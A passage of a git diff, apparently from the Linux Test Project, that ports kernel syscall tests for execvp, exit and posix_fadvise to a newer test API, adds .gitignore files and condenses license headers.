+ * This program is free software: you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation, either version 2 of the License, or
+ * (at your option) any later version.
  *
- * This program is distributed in the hope that it would be useful, but
- * WITHOUT ANY WARRANTY; without even the implied warranty of
- * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU General Public License for more details.
  *
- * Further, this software is distributed without any warranty that it is
- * free of the rightful claim of any third person regarding infringement
- * or the like.  Any license provided herein, whether implied or
- * otherwise, applies only to this software file.  Patent licenses, if
- * any, provided herein do not apply to combinations of this program with
- * other software, or any other product whatsoever.
- *
- * You should have received a copy of the GNU General Public License along
- * with this program; if not, write the Free Software Foundation, Inc.,
- * 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
+ * You should have received a copy of the GNU General Public License
+ * along with this program. If not, see <http://www.gnu.org/licenses/>.
  */
 
-#include "test.h"
-
-char *TCID = "execvp01_child";
+#define TST_NO_DEFAULT_MAIN
+#include "tst_test.h"
 
 int main(int argc, char *argv[])
 {
+	tst_reinit();
+
 	if (argc != 2)
-		tst_brkm(TFAIL, NULL, "argc is %d, expected 2", argc);
+		tst_brk(TFAIL, "argc is %d, expected 2", argc);
 
-	if (strcmp(argv[1], "canary")) {
-		tst_brkm(TFAIL, NULL, "argv[1] is %s, expected 'canary'",
-		         argv[1]);
-	}
+	if (strcmp(argv[1], "canary"))
+		tst_brk(TFAIL, "argv[1] is %s, expected 'canary'", argv[1]);
 
-	tst_resm(TPASS, "%s executed", argv[0]);
-	tst_exit();
+	tst_res(TPASS, "%s executed", argv[0]);
+
+	return 0;
 }
diff --git a/testcases/kernel/syscalls/exit/.gitignore b/testcases/kernel/syscalls/exit/.gitignore
new file mode 100644
index 0000000..934e311
--- /dev/null
+++ b/testcases/kernel/syscalls/exit/.gitignore
@@ -0,0 +1,2 @@
+/exit01
+/exit02
diff --git a/testcases/kernel/syscalls/exit/exit02.c b/testcases/kernel/syscalls/exit/exit02.c
index 7858c89..fa96397 100644
--- a/testcases/kernel/syscalls/exit/exit02.c
+++ b/testcases/kernel/syscalls/exit/exit02.c
@@ -1,212 +1,83 @@
 /*
+ * Copyright (c) International Business Machines  Corp., 2001
+ *    07/2001 Ported by Wayne Boyer
+ * Copyright (c) 2018 Cyril Hrubis <chrubis@suse.cz>
  *
- *   Copyright (c) International Business Machines  Corp., 2001
+ * This program is free software;  you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation; either version 2 of the License, or
+ * (at your option) any later version.
  *
- *   This program is free software;  you can redistribute it and/or modify
- *   it under the terms of the GNU General Public License as published by
- *   the Free Software Foundation; either version 2 of the License, or
- *   (at your option) any later version.
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY;  without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
+ * the GNU General Public License for more details.
  *
- *   This program is distributed in the hope that it will be useful,
- *   but WITHOUT ANY WARRANTY;  without even the implied warranty of
- *   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
- *   the GNU General Public License for more details.
- *
- *   You should have received a copy of the GNU General Public License
- *   along with this program;  if not, write to the Free Software
- *   Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
+ * You should have received a copy of the GNU General Public License
+ * along with this program;  if not, write to the Free Software
+ * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
  */
-
 /*
- * NAME
- * 	exit02.c
- *
- * DESCRIPTION
- *	Check that exit flushes output file buffers and closes files upon
- *	exitting
- *
- * ALGORITHM
- * 	Fork a process that creates a file and writes a few bytes, and
- * 	calls exit WITHOUT calling close(). The parent then reads the
- * 	file.  If everything that was written is present in the file, then
- *	the test passes.
- *
- * USAGE
- * 	exit02
- *
- * HISTORY
- *	07/2001 Ported by Wayne Boyer
- *
- * RESTRICTIONS
- * 	None
+ * Fork a process that creates a file and writes a few bytes, and
+ * calls exit WITHOUT calling close(). The parent then reads the
+ * file.  If everything that was written is present in the file, then
+ * the test passes.
  */
-#include <sys/types.h>
-#include <sys/wait.h>
-#include <sys/stat.h>
-#include <stdio.h>
-#include <string.h>
-#include <errno.h>
-#include <signal.h>
-#include <fcntl.h>
-#include <string.h>
-#include "test.h"
 
-void cleanup(void);
-void setup(void);
+#include <stdlib.h>
+#include "tst_test.h"
 
-char *TCID = "exit02";
-int TST_TOTAL = 1;
+#define FNAME "test_file"
 
-#define READ  0
-#define WRITE 1
-#define MODE 0666
-
-char filen[40];
-
-int main(int ac, char **av)
+static void child_write(void)
 {
-	int pid, npid, sig, nsig, exno, nexno, status;
-	int filed;
-	char wbuf[BUFSIZ], rbuf[BUFSIZ];
-	int len, rlen;
-	int rval = 0;
-	int lc;
+	int fd;
 
-	/*
-	 * parse standard options
-	 */
-	tst_parse_opts(ac, av, NULL, NULL);
+	fd = SAFE_CREAT(FNAME, 0666);
+	SAFE_WRITE(1, fd, FNAME, sizeof(FNAME));
+	exit(0);
+}
 
-	setup();		/* global setup for test */
+static void check_file(void)
+{
+	int fd, len;
+	char buf[256];
 
-	/*
-	 * The following loop checks looping state if -i option given
-	 */
-	for (lc = 0; TEST_LOOPING(lc); lc++) {
-		/*
-		 * reset tst_count in case we are looping.
-		 */
-		tst_count = 0;
+	fd = SAFE_OPEN(FNAME, O_RDONLY);
+	len = SAFE_READ(0, fd, buf, sizeof(buf));
 
-		strcpy(wbuf, "abcd");
-		len = strlen(wbuf);
-
-		exno = sig = 0;
-
-		if ((pid = FORK_OR_VFORK()) == -1)
-			tst_brkm(TBROK | TERRNO, cleanup, "fork() failed");
-
-		if (pid == 0) {	/* child */
-			sleep(1);
-			if ((filed = creat(filen, MODE)) == -1) {
-				tst_resm(TINFO, "creat error: unable to"
-					 "open output file");
-				exit(2);
-			}
-			if (write(filed, wbuf, len) != len) {
-				tst_resm(TINFO, "write error");
-				exit(2);
-			}
-			exit(exno);
-		} else {	/* parent */
-			npid = wait(&status);
-
-			if (npid != pid) {
-				tst_resm(TFAIL, "wait error: "
-					 "unexpected pid returned");
-				rval = 1;
-			}
-
-			nsig = status % 256;
-
-			/*
-			 * to check if the core dump bit has been
-			 * set, bit # 7
-			 */
-			if (nsig >= 128)
-				nsig = nsig - 128;
-
-			/*
-			 * nsig is the signal number returned by
-			 * wait
-			 */
-			if (nsig != sig) {
-				tst_resm(TFAIL, "wait error: unexpected "
-					 "signal returned %d", nsig);
-				rval = 1;
-			}
-
-			/*
-			 * nexno is the exit number returned by wait
-			 */
-			nexno = status / 256;
-			if (nexno != exno) {
-				tst_resm(TFAIL, "wait error: unexpected exit "
-					 "number %d", nexno);
-				rval = 1;
-			}
-
-			sleep(2);	/* let child's exit close opened file */
-
-			filed = open(filen, O_RDONLY, READ);
-			if (filed == -1) {
-				tst_resm(TFAIL, "open error: "
-					 "unable to open input file");
-				rval = 1;
-			} else {
-				rlen = read(filed, rbuf, len);
-				if (len != rlen) {
-					tst_resm(TFAIL, "exit error: file "
-						 "buffer was not flushed");
-					rval = 1;
-				} else if (strncmp(rbuf, wbuf, len) != 0) {
-					tst_resm(TFAIL, "exit error: file "
-						 "buffer was not flushed");
-					rval = 1;
-				}
-			}
-			close(filed);
-			unlink(filen);
-		}
-		if (!rval) {
-			tst_resm(TPASS, "exit() test PASSED");
-		}
+	if (len != sizeof(FNAME)) {
+		tst_res(TFAIL, "Wrong length %i expected %zu", len, sizeof(buf));
+		goto out;
 	}
-	cleanup();
-	tst_exit();
+
+	if (memcmp(buf, FNAME, sizeof(FNAME))) {
+		tst_res(TFAIL, "Wrong data read back");
+		goto out;
+	}
+
+	tst_res(TPASS, "File written by child read back correctly");
+out:
+	SAFE_CLOSE(fd);
 }
 
-/*
- * setup() - perform all ONE TIME setup for this test
- */
-void setup(void)
+static void run(void)
 {
+	int pid;
 
-	tst_sig(FORK, DEF_HANDLER, cleanup);
+	pid = SAFE_FORK();
+	if (!pid)
+		child_write();
 
-	umask(0);
+	tst_reap_children();
 
-	TEST_PAUSE;
+	check_file();
 
-	tst_tmpdir();
-
-	sprintf(filen, "tfile_%d", getpid());
+	SAFE_UNLINK(FNAME);
 }
 
-/*
- * cleanup() - performs all ONE TIME cleanup for this test at completion or
- *	       premature exit.
- */
-void cleanup(void)
-{
-
-	/*
-	 * Remove tmp dir and all files in it
-	 */
-	tst_rmdir();
-
-	/*
-	 * exit with return code appropriate for results
-	 */
-
-}
+static struct tst_test test = {
+	.needs_tmpdir = 1,
+	.forks_child = 1,
+	.test_all = run,
+};
diff --git a/testcases/kernel/syscalls/exit_group/.gitignore b/testcases/kernel/syscalls/exit_group/.gitignore
new file mode 100644
index 0000000..168f80f
--- /dev/null
+++ b/testcases/kernel/syscalls/exit_group/.gitignore
@@ -0,0 +1 @@
+/exit_group01
diff --git a/testcases/kernel/syscalls/faccessat/.gitignore b/testcases/kernel/syscalls/faccessat/.gitignore
new file mode 100644
index 0000000..9551ab9
--- /dev/null
+++ b/testcases/kernel/syscalls/faccessat/.gitignore
@@ -0,0 +1 @@
+/faccessat01
diff --git a/testcases/kernel/syscalls/fadvise/.gitignore b/testcases/kernel/syscalls/fadvise/.gitignore
new file mode 100644
index 0000000..fe74bef
--- /dev/null
+++ b/testcases/kernel/syscalls/fadvise/.gitignore
@@ -0,0 +1,8 @@
+/posix_fadvise01
+/posix_fadvise01_64
+/posix_fadvise02
+/posix_fadvise02_64
+/posix_fadvise03
+/posix_fadvise03_64
+/posix_fadvise04
+/posix_fadvise04_64
diff --git a/testcases/kernel/syscalls/fadvise/posix_fadvise01.c b/testcases/kernel/syscalls/fadvise/posix_fadvise01.c
index cb1566a..2af0408 100644
--- a/testcases/kernel/syscalls/fadvise/posix_fadvise01.c
+++ b/testcases/kernel/syscalls/fadvise/posix_fadvise01.c
@@ -1,20 +1,6 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
 /*
- *
- *   Copyright (c) Red Hat Inc., 2007
- *
- *   This program is free software;  you can redistribute it and/or modify
- *   it under the terms of the GNU General Public License as published by
- *   the Free Software Foundation; either version 2 of the License, or
- *   (at your option) any later version.
- *
- *   This program is distributed in the hope that it will be useful,
- *   but WITHOUT ANY WARRANTY;  without even the implied warranty of
- *   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
- *   the GNU General Public License for more details.
- *
- *   You should have received a copy of the GNU General Public License
- *   along with this program;  if not, write to the Free Software
- *   Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
+ * Copyright (c) Red Hat Inc., 2007
  */
 
 /*
@@ -40,29 +26,12 @@
 #include <unistd.h>
 #include <signal.h>
 #include <errno.h>
+#include <string.h>
 
-#include "test.h"
-#include "safe_macros.h"
-
+#include "tst_test.h"
 #include "lapi/syscalls.h"
-#ifndef _FILE_OFFSET_BITS
-#define _FILE_OFFSET_BITS 32
-#endif
 
-#ifndef __NR_fadvise64
-#define __NR_fadvise64 0
-#endif
-
-void setup();
-void cleanup();
-
-TCID_DEFINE(posix_fadvise01);
-
-#ifndef ANDROID
 char fname[] = "/bin/cat";	/* test executable to open */
-#else
-char fname[] = "/system/bin/cat";	/* test executable to open */
-#endif
 int fd = -1;			/* initialized in open */
 
 int expected_return = 0;
@@ -76,91 +45,38 @@
 	POSIX_FADV_DONTNEED,
 };
 
-#define defined_advise_total ARRAY_SIZE(defined_advise)
-
-int TST_TOTAL = defined_advise_total;
-
-int main(int ac, char **av)
+static void verify_fadvise(unsigned int n)
 {
-	int lc;
-	int i;
+	TEST(posix_fadvise(fd, 0, 0, defined_advise[n]));
 
-	/* Check this system has fadvise64 system which is used
-	   in posix_fadvise. */
-	if ((_FILE_OFFSET_BITS != 64) && (__NR_fadvise64 == 0)) {
-		tst_resm(TWARN,
-			 "This test can only run on kernels that implements ");
-		tst_resm(TWARN, "fadvise64 which is used from posix_fadvise");
-		exit(0);
+	/* Man page says:
+	   "On error, an error number is returned." */
+	if (TST_RET == expected_return) {
+		tst_res(TPASS, "call succeeded expectedly");
+	} else {
+		tst_res(TFAIL,
+			"unexpected return value - %ld : %s, advise %d - "
+			"expected %d",
+			TST_RET,
+			tst_strerrno(TST_RET),
+			defined_advise[n], expected_return);
 	}
-
-	/*
-	 * parse standard options
-	 */
-	tst_parse_opts(ac, av, NULL, NULL);
-
-	/*
-	 * perform global setup for test
-	 */
-	setup();
-
-	/*
-	 * check looping state if -i option given on the command line
-	 */
-	for (lc = 0; TEST_LOOPING(lc); lc++) {
-
-		tst_count = 0;
-
-		/* loop through the test cases */
-		for (i = 0; i < defined_advise_total; i++) {
-
-			TEST(posix_fadvise(fd, 0, 0, defined_advise[i]));
-
-			/* Man page says:
-			   "On error, an error number is returned." */
-			if (TEST_RETURN == expected_return) {
-				tst_resm(TPASS, "call succeeded expectedly");
-			} else {
-				tst_resm(TFAIL,
-					 "unexpected return value - %ld : %s, advise %d - "
-					 "expected %d",
-					 TEST_RETURN,
-					 strerror(TEST_RETURN),
-					 defined_advise[i], expected_return);
-			}
-		}
-	}
-
-	/*
-	 * cleanup and exit
-	 */
-	cleanup();
-
-	tst_exit();
 }
 
-/*
- * setup() - performs all ONE TIME setup for this test.
- */
-void setup(void)
+static void setup(void)
 {
-
-	tst_sig(NOFORK, DEF_HANDLER, cleanup);
-
-	TEST_PAUSE;
-
-	fd = SAFE_OPEN(cleanup, fname, O_RDONLY);
+	fd = SAFE_OPEN(fname, O_RDONLY);
 }
 
-/*
- * cleanup() - performs all ONE TIME cleanup for this test at
- *		completion or premature exit.
- */
-void cleanup(void)
+static void cleanup(void)
 {
-
-	if (fd != -1) {
-		close(fd);
-	}
-
+	if (fd > 0)
+		SAFE_CLOSE(fd);
 }
+
+static struct tst_test test = {
+	.setup = setup,
+	.cleanup = cleanup,
+	.test = verify_fadvise,
+	.tcnt = ARRAY_SIZE(defined_advise),
+};
diff --git a/testcases/kernel/syscalls/fadvise/posix_fadvise02.c b/testcases/kernel/syscalls/fadvise/posix_fadvise02.c
index 0b6b355..d533a79 100644
--- a/testcases/kernel/syscalls/fadvise/posix_fadvise02.c
+++ b/testcases/kernel/syscalls/fadvise/posix_fadvise02.c
@@ -1,20 +1,6 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
 /*
- *
- *   Copyright (c) Red Hat Inc., 2007
- *
- *   This program is free software;  you can redistribute it and/or modify
- *   it under the terms of the GNU General Public License as published by
- *   the Free Software Foundation; either version 2 of the License, or
- *   (at your option) any later version.
- *
- *   This program is distributed in the hope that it will be useful,
- *   but WITHOUT ANY WARRANTY;  without even the implied warranty of
- *   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
- *   the GNU General Public License for more details.
- *
- *   You should have received a copy of the GNU General Public License
- *   along with this program;  if not, write to the Free Software
- *   Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
+ * Copyright (c) Red Hat Inc., 2007
  */
 
 /*
@@ -39,137 +25,65 @@
 #include <unistd.h>
 #include <signal.h>
 #include <errno.h>
-#include "test.h"
+#include <string.h>
 
+#include "tst_test.h"
 #include "lapi/syscalls.h"
-#ifndef _FILE_OFFSET_BITS
-#define _FILE_OFFSET_BITS 32
-#endif
-
-#ifndef __NR_fadvise64
-#define __NR_fadvise64 0
-#endif
-
-void setup();
-void cleanup();
-
-TCID_DEFINE(posix_fadvise02);
 
 #define WRONG_FD       42	/* The number has no meaning.
 				   Just used as something wrong fd */
 
-struct test_case_t {
-	int fd;
-	off_t offset;
-	off_t len;
-	int advice;
-	int error;
-} TC[] = {
-	{
-	WRONG_FD, 0, 0, POSIX_FADV_NORMAL, EBADF}, {
-	WRONG_FD, 0, 0, POSIX_FADV_SEQUENTIAL, EBADF}, {
-	WRONG_FD, 0, 0, POSIX_FADV_RANDOM, EBADF}, {
-	WRONG_FD, 0, 0, POSIX_FADV_NOREUSE, EBADF}, {
-	WRONG_FD, 0, 0, POSIX_FADV_WILLNEED, EBADF}, {
-WRONG_FD, 0, 0, POSIX_FADV_DONTNEED, EBADF},};
+int defined_advise[] = {
+	POSIX_FADV_NORMAL,
+	POSIX_FADV_SEQUENTIAL,
+	POSIX_FADV_RANDOM,
+	POSIX_FADV_NOREUSE,
+	POSIX_FADV_WILLNEED,
+	POSIX_FADV_DONTNEED,
+};
 
-int TST_TOTAL = sizeof(TC) / sizeof(TC[0]);
-
-int main(int ac, char **av)
+static void verify_fadvise(unsigned int n)
 {
-	int lc;
-	int i;
+	TEST(posix_fadvise
+	     (WRONG_FD, 0, 0, defined_advise[n]));
 
-	/* Check this system has fadvise64 system which is used
-	   in posix_fadvise. */
-	if ((_FILE_OFFSET_BITS != 64) && (__NR_fadvise64 == 0)) {
-		tst_resm(TWARN,
-			 "This test can only run on kernels that implements ");
-		tst_resm(TWARN, "fadvise64 which is used from posix_fadvise");
-		exit(0);
+	if (TST_RET == 0) {
+		tst_res(TFAIL, "call succeeded unexpectedly");
+		return;
 	}
 
-	/*
-	 * parse standard options
-	 */
-	tst_parse_opts(ac, av, NULL, NULL);
-
-	/*
-	 * perform global setup for test
-	 */
-	setup();
-
-	/*
-	 * check looping state if -i option given on the command line
-	 */
-	for (lc = 0; TEST_LOOPING(lc); lc++) {
-
-		tst_count = 0;
-
-		/* loop through the test cases */
-		for (i = 0; i < TST_TOTAL; i++) {
-
-			TEST(posix_fadvise
-			     (TC[i].fd, TC[i].offset, TC[i].len, TC[i].advice));
-
-			if (TEST_RETURN == 0) {
-				tst_resm(TFAIL, "call succeeded unexpectedly");
-				continue;
-			}
-
-			/* Man page says:
-			   "On error, an error number is returned." */
-			if (TEST_RETURN == TC[i].error) {
-				tst_resm(TPASS, "expected failure - "
-					 "returned value = %ld : %s",
-					 TEST_RETURN, strerror(TEST_RETURN));
-			} else {
-				tst_resm(TFAIL,
-					 "unexpected returnd value - %ld : %s - "
-					 "expected %d", TEST_RETURN,
-					 strerror(TEST_RETURN), TC[i].error);
-			}
-		}
+	/* Man page says:
+	   "On error, an error number is returned." */
+	if (TST_RET == EBADF) {
+		tst_res(TPASS, "expected failure - "
+			"returned value = %ld : %s",
+			TST_RET, tst_strerrno(TST_RET));
+	} else {
+		tst_res(TFAIL,
+			"unexpected returnd value - %ld : %s - "
+			"expected %d", TST_RET,
+			tst_strerrno(TST_RET), EBADF);
 	}
-
-	/*
-	 * cleanup and exit
-	 */
-	cleanup();
-
-	tst_exit();
 }
 
-/*
- * setup() - performs all ONE TIME setup for this test.
- */
-void setup(void)
+static void setup(void)
 {
-
-	tst_sig(NOFORK, DEF_HANDLER, cleanup);
-
-	TEST_PAUSE;
-
 	/* Make WRONG_FD really wrong. */
 retry:
 	errno = 0;
 	if (close(WRONG_FD) != 0) {
-		if (errno == EBADF) ;	/* Good. Do nothing. */
+		if (errno == EBADF) {}	/* Good. Do nothing. */
 		if (errno == EINTR)
 			goto retry;
 		else if (errno == EIO)
-			tst_brkm(TBROK, cleanup,
-				 "Unable to close a file descriptor(%d): %s\n",
-				 WRONG_FD, strerror(EIO));
+			tst_brk(TBROK,
+				"Unable to close a file descriptor(%d): %s\n",
+				WRONG_FD, tst_strerrno(EIO));
 	}
-
 }
 
-/*
- * cleanup() - performs all ONE TIME cleanup for this test at
- *		completion or premature exit.
- */
-void cleanup(void)
-{
-
-}
+static struct tst_test test = {
+	.setup = setup,
+	.test = verify_fadvise,
+	.tcnt = ARRAY_SIZE(defined_advise),
+};
diff --git a/testcases/kernel/syscalls/fadvise/posix_fadvise03.c b/testcases/kernel/syscalls/fadvise/posix_fadvise03.c
index 2579e1f..0127a1b 100644
--- a/testcases/kernel/syscalls/fadvise/posix_fadvise03.c
+++ b/testcases/kernel/syscalls/fadvise/posix_fadvise03.c
@@ -1,20 +1,6 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
 /*
- *
- *   Copyright (c) Red Hat Inc., 2007
- *
- *   This program is free software;  you can redistribute it and/or modify
- *   it under the terms of the GNU General Public License as published by
- *   the Free Software Foundation; either version 2 of the License, or
- *   (at your option) any later version.
- *
- *   This program is distributed in the hope that it will be useful,
- *   but WITHOUT ANY WARRANTY;  without even the implied warranty of
- *   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
- *   the GNU General Public License for more details.
- *
- *   You should have received a copy of the GNU General Public License
- *   along with this program;  if not, write to the Free Software
- *   Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
+ * Copyright (c) Red Hat Inc., 2007
  */
 
 /*
@@ -40,28 +26,12 @@
 #include <signal.h>
 #include <errno.h>
 #include <limits.h>
-#include "test.h"
-#include "safe_macros.h"
+#include <string.h>
 
+#include "tst_test.h"
 #include "lapi/syscalls.h"
-#ifndef _FILE_OFFSET_BITS
-#define _FILE_OFFSET_BITS 32
-#endif
 
-#ifndef __NR_fadvise64
-#define __NR_fadvise64 0
-#endif
-
-void setup();
-void cleanup();
-
-TCID_DEFINE(posix_fadvise03);
-
-#ifndef ANDROID
 char fname[] = "/bin/cat";	/* test executable to open */
-#else
-char fname[] = "/system/bin/cat";	/* test executable to open */
-#endif
 int fd = -1;			/* initialized in open */
 
 int expected_error = EINVAL;
@@ -91,16 +61,9 @@
 #endif
 };
 
-#define defined_advise_total ARRAY_SIZE(defined_advise)
+const int defined_advise_total = ARRAY_SIZE(defined_advise);
 
-#if 0
-/* Too many test cases. */
-int TST_TOTAL = (INT_MAX - defined_advise_total);
-int advise_limit = INT_MAX;
-#else
-int TST_TOTAL = (32 - defined_advise_total);
-int advise_limit = 32;
-#endif /* 0 */
+#define ADVISE_LIMIT 32
 
 /* is_defined_advise:
    Return 1 if advise is in defined_advise.
@@ -116,101 +79,53 @@
 	return 0;
 }
 
-int main(int ac, char **av)
+static void verify_fadvise(unsigned int n)
 {
-	int lc;
-	int advise;
-
-	/* Check this system has fadvise64 system which is used
-	   in posix_fadvise. */
-	if ((_FILE_OFFSET_BITS != 64) && (__NR_fadvise64 == 0)) {
-		tst_resm(TWARN,
-			 "This test can only run on kernels that implements ");
-		tst_resm(TWARN, "fadvise64 which is used from posix_fadvise");
-		exit(0);
+	/* Don't use defined advise as an argument. */
+	if (is_defined_advise(n)) {
+		tst_res(TPASS, "skipping defined - advise = %d", n);
+		return;
 	}
 
-	/*
-	 * parse standard options
-	 */
-	tst_parse_opts(ac, av, NULL, NULL);
+	TEST(posix_fadvise(fd, 0, 0, n));
 
-	/*
-	 * perform global setup for test
-	 */
-	setup();
-
-	/*
-	 * check looping state if -i option given on the command line
-	 */
-	for (lc = 0; TEST_LOOPING(lc); lc++) {
-
-		tst_count = 0;
-
-		/* loop through the test cases */
-		for (advise = 0; advise < advise_limit; advise++) {
-
-			/* Don't use defiend advise as an argument. */
-			if (is_defined_advise(advise)) {
-				continue;
-			}
-
-			TEST(posix_fadvise(fd, 0, 0, advise));
-
-			if (TEST_RETURN == 0) {
-				tst_resm(TFAIL, "call succeeded unexpectedly");
-				continue;
-			}
-
-			/* Man page says:
-			   "On error, an error number is returned." */
-			if (TEST_RETURN == expected_error) {
-				tst_resm(TPASS,
-					 "expected failure - "
-					 "returned value = %ld, advise = %d : %s",
-					 TEST_RETURN,
-					 advise, strerror(TEST_RETURN));
-			} else {
-				tst_resm(TFAIL,
-					 "unexpected return value - %ld : %s, advise %d - "
-					 "expected %d",
-					 TEST_RETURN,
-					 strerror(TEST_RETURN),
-					 advise, expected_error);
-			}
-		}
+	if (TST_RET == 0) {
+		tst_res(TFAIL, "call succeeded unexpectedly");
+		return;
 	}
 
-	/*
-	 * cleanup and exit
-	 */
-	cleanup();
-
-	tst_exit();
-}
-
-/*
- * setup() - performs all ONE TIME setup for this test.
- */
-void setup(void)
-{
-
-	tst_sig(NOFORK, DEF_HANDLER, cleanup);
-
-	TEST_PAUSE;
-
-	fd = SAFE_OPEN(cleanup, fname, O_RDONLY);
-}
-
-/*
- * cleanup() - performs all ONE TIME cleanup for this test at
- *		completion or premature exit.
- */
-void cleanup(void)
-{
-
-	if (fd != -1) {
-		close(fd);
+	/* Man page says:
+	   "On error, an error number is returned." */
+	if (TST_RET == expected_error) {
+		tst_res(TPASS,
+			"expected failure - "
+			"returned value = %ld, advise = %d : %s",
+			TST_RET,
+			n, tst_strerrno(TST_RET));
+	} else {
+		tst_res(TFAIL,
+			"unexpected return value - %ld : %s, advise %d - "
+			"expected %d",
+			TST_RET,
+			tst_strerrno(TST_RET),
+			n, expected_error);
 	}
-
 }
+
+static void setup(void)
+{
+	fd = SAFE_OPEN(fname, O_RDONLY);
+}
+
+static void cleanup(void)
+{
+	if (fd > 0)
+		SAFE_CLOSE(fd);
+}
+
+static struct tst_test test = {
+	.setup = setup,
+	.cleanup = cleanup,
+	.test = verify_fadvise,
+	.tcnt = ADVISE_LIMIT,
+};
diff --git a/testcases/kernel/syscalls/fadvise/posix_fadvise04.c b/testcases/kernel/syscalls/fadvise/posix_fadvise04.c
index f466e6f..d8d8fb6 100644
--- a/testcases/kernel/syscalls/fadvise/posix_fadvise04.c
+++ b/testcases/kernel/syscalls/fadvise/posix_fadvise04.c
@@ -1,20 +1,6 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
 /*
- *
- *   Copyright (c) Red Hat Inc., 2007
- *
- *   This program is free software;  you can redistribute it and/or modify
- *   it under the terms of the GNU General Public License as published by
- *   the Free Software Foundation; either version 2 of the License, or
- *   (at your option) any later version.
- *
- *   This program is distributed in the hope that it will be useful,
- *   but WITHOUT ANY WARRANTY;  without even the implied warranty of
- *   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
- *   the GNU General Public License for more details.
- *
- *   You should have received a copy of the GNU General Public License
- *   along with this program;  if not, write to the Free Software
- *   Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
+ * Copyright (c) Red Hat Inc., 2007
  */
 
 /*
@@ -39,151 +25,64 @@
 #include <unistd.h>
 #include <signal.h>
 #include <errno.h>
-#include "test.h"
+#include <string.h>
+
+#include "tst_test.h"
+
 #include "lapi/syscalls.h"
-#ifndef _FILE_OFFSET_BITS
-#define _FILE_OFFSET_BITS 32
-#endif
 
-#ifndef __NR_fadvise64
-#define __NR_fadvise64 0
-#endif
+static int pipedes[2];
 
-void setup();
-void cleanup();
+static int defined_advise[] = {
+	POSIX_FADV_NORMAL,
+	POSIX_FADV_SEQUENTIAL,
+	POSIX_FADV_RANDOM,
+	POSIX_FADV_NOREUSE,
+	POSIX_FADV_WILLNEED,
+	POSIX_FADV_DONTNEED,
+};
 
-TCID_DEFINE(posix_fadvise04);
-
-#define GIVEN_IN_SETUP 42	/* No mean. Just used as padding.
-				   This is overwritten by setup(). */
-
-struct test_case_t {
-	int fd;
-	off_t offset;
-	off_t len;
-	int advice;
-	int error;
-} TC[] = {
-	{
-	GIVEN_IN_SETUP, 0, 0, POSIX_FADV_NORMAL, ESPIPE}, {
-	GIVEN_IN_SETUP, 0, 0, POSIX_FADV_SEQUENTIAL, ESPIPE}, {
-	GIVEN_IN_SETUP, 0, 0, POSIX_FADV_RANDOM, ESPIPE}, {
-	GIVEN_IN_SETUP, 0, 0, POSIX_FADV_NOREUSE, ESPIPE}, {
-	GIVEN_IN_SETUP, 0, 0, POSIX_FADV_WILLNEED, ESPIPE}, {
-GIVEN_IN_SETUP, 0, 0, POSIX_FADV_DONTNEED, ESPIPE},};
-
-int TST_TOTAL = sizeof(TC) / sizeof(TC[0]);
-
-int main(int ac, char **av)
+static void verify_fadvise(unsigned int n)
 {
-	int lc;
-	int i;
+	TEST(posix_fadvise
+	     (pipedes[0], 0, 0, defined_advise[n]));
 
-	/* Check this system has fadvise64 system which is used
-	   in posix_fadvise. */
-	if ((_FILE_OFFSET_BITS != 64) && (__NR_fadvise64 == 0)) {
-		tst_resm(TWARN,
-			 "This test can only run on kernels that implements ");
-		tst_resm(TWARN, "fadvise64 which is used from posix_fadvise");
-		exit(0);
+	if (TST_RET == 0) {
+		tst_res(TFAIL, "call succeeded unexpectedly");
+		return;
 	}
 
-	/* Disable test if the version of the kernel is less than 2.6.16 */
-	if ((tst_kvercmp(2, 6, 16)) < 0) {
-		tst_resm(TWARN, "This test can only run on kernels that are ");
-		tst_resm(TWARN, "2.6.16 and higher");
-		exit(0);
+	/* Man page says:
+	   "On error, an error number is returned." */
+	if (TST_RET == ESPIPE) {
+		tst_res(TPASS, "expected failure - "
+			"returned value = %ld : %s",
+			TST_RET, tst_strerrno(TST_RET));
+	} else {
+		tst_res(TFAIL,
+			"unexpected return value - %ld : %s - "
+			"expected %d", TST_RET,
+			tst_strerrno(TST_RET), ESPIPE);
 	}
-
-	/*
-	 * parse standard options
-	 */
-	tst_parse_opts(ac, av, NULL, NULL);
-
-	/*
-	 * perform global setup for test
-	 */
-	setup();
-
-	/*
-	 * check looping state if -i option given on the command line
-	 */
-	for (lc = 0; TEST_LOOPING(lc); lc++) {
-
-		tst_count = 0;
-
-		/* loop through the test cases */
-		for (i = 0; i < TST_TOTAL; i++) {
-
-			TEST(posix_fadvise
-			     (TC[i].fd, TC[i].offset, TC[i].len, TC[i].advice));
-
-			if (TEST_RETURN == 0) {
-				tst_resm(TFAIL, "call succeeded unexpectedly");
-				continue;
-			}
-
-			/* Man page says:
-			   "On error, an error number is returned." */
-			if (TEST_RETURN == TC[i].error) {
-				tst_resm(TPASS, "expected failure - "
-					 "returned value = %ld : %s",
-					 TEST_RETURN, strerror(TEST_RETURN));
-			} else {
-				tst_resm(TFAIL,
